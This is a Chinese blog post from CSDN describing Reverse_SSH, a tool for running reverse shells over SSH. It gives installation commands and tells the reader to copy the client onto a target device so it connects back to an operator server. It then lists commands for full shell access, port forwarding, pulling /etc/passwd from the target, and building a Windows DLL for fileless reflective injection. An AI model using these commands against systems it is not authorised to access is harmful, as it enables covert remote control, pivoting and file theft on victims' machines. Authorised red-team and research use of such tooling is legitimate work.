一款基于SSH的反向Shell工具

Reverse_SSH是一款利用SSH协议实现反向Shell的工具,支持动态、本地和远程转发,提供原生SCP和SFTP功能。用户可以通过Docker或手动方式安装,适用于Linux和Windows环境,还可设置默认服务器、生成WindowsDLL以及利用webhook功能发送HTTP请求。
摘要由CSDN通过智能技术生成

一款基于SSH的反向Shell工具。

Reverse_SSH上一款基于SSH的反向Shell工具,在该工具的帮助下,广大研究人员可以使用SSH来实现反向Shell,并同时拥有下列功能:

1、使用原生SSH语句管理和连接反向Shell;

2、动态、本地和远程转发;

3、原生SCP和SFTP实现,用于从目标获取文件;

4、完整功能的Windows Shell;

5、实现了客户端&服务器端身份验证,以创建高信任高可用的控制通道;

6、其他…


工具架构

在这里插入图片描述


工具安装

Docker安装

docker run -p3232:2222 -e EXTERNAL_ADDRESS=<your_external_address>:3232 -e SEED_AUTHORIZED_KEYS="$(cat ~/.ssh/id_ed25519.pub)" -v data:/data reversessh/reverse_ssh

手动安装

git clone https://github.com/NHAS/reverse_ssh

cd reverse_ssh

make

cd bin/

运行下列命令后即可启动服务器:

cp ~/.ssh/id_ed25519.pub authorized_keys

./server 0.0.0.0:3232

工具运行

将客户端拷贝到目标设备中,然后让客户端连接服务器:

./client your.rssh.server.com:3232

获取工具帮助信息:

ssh your.rssh.server.com -p 3232 help

查看客户端:

ssh your.rssh.server.com -p 3232 ls -t

连接到完整Shell:

ssh -J your.rssh.server.com:3232 0f6ffecb15d75574e5e955e014e0546f6e2851ac

或直接使用主机名连接:

ssh -J your.rssh.server.com:3232 root.wombo

接下来,可以开启远程转发功能:

ssh -R 1234:localhost:1234 -J your.rssh.server.com:3232 root.wombo

或开启动态转发:

ssh -D 9050 -J your.rssh.server.com:3232 root.wombo

SCP:

scp -J your.rssh.server.com:3232 root.wombo:/etc/passwd .

SFTP:

sftp -J your.rssh.server.com:3232 root.wombo:/etc/passwd .

其他功能

默认服务器

可以在项目构建的时候指定一个默认服务器:

$ RSSH_HOMESERVER=your.rssh.server.com:3232 make

$ bin/client

$ bin/client example.com:3232

Windows DLL生成

我们还可以将客户端编译成DLL,并使用类似Invoke-ReflectivePEInjection之类的工具进行加载。此时,如果你使用的是Linux系统,可以使用mingw-w64-gcc编译器:

CC=x86_64-w64-mingw32-gcc GOOS=windows RSSH_HOMESERVER=192.168.1
.1:2343 make client_dll

当RSSH服务器启用了Webserver之后,我们也可以使用下列命令进行编译:

./server --webserver :3232

ssh your.rssh.server.com -p 3232

catcher$ link --name windows_dll --shared-object --goos windows

http://your.rssh.server.com:3232/windows_dll

这种情况适用于无文件注入的场景。

Webhook

RSSH服务器可以通过命令行终端接口并使用webhook命令发送原始HTTP请求。

首先,启用一个webhook:

$ ssh your.rssh.server.com -p 3232

catcher$ webhook --on http://localhost:8080/

接下来,连接客户端,并使用下列格式发送一个POST请求:

$ nc -l -p 8080

POST /rssh_webhook HTTP/1.1

Host: localhost:8080

User-Agent: Go-http-client/1.1

Content-Length: 165

Content-Type: application/json

Accept-Encoding: gzip

 

{"Status":"connected","ID":"ae92b6535a30566cbae122ebb2a5e754dd58f0ca","IP":"[::1]:52608","HostName":"user.computer","Timestamp":"2022-06-12T12:23:40.626775318+12:00"}%

项目地址

Reverse_SSH:https://github.com/NHAS/reverse_ssh

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

代码讲故事

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值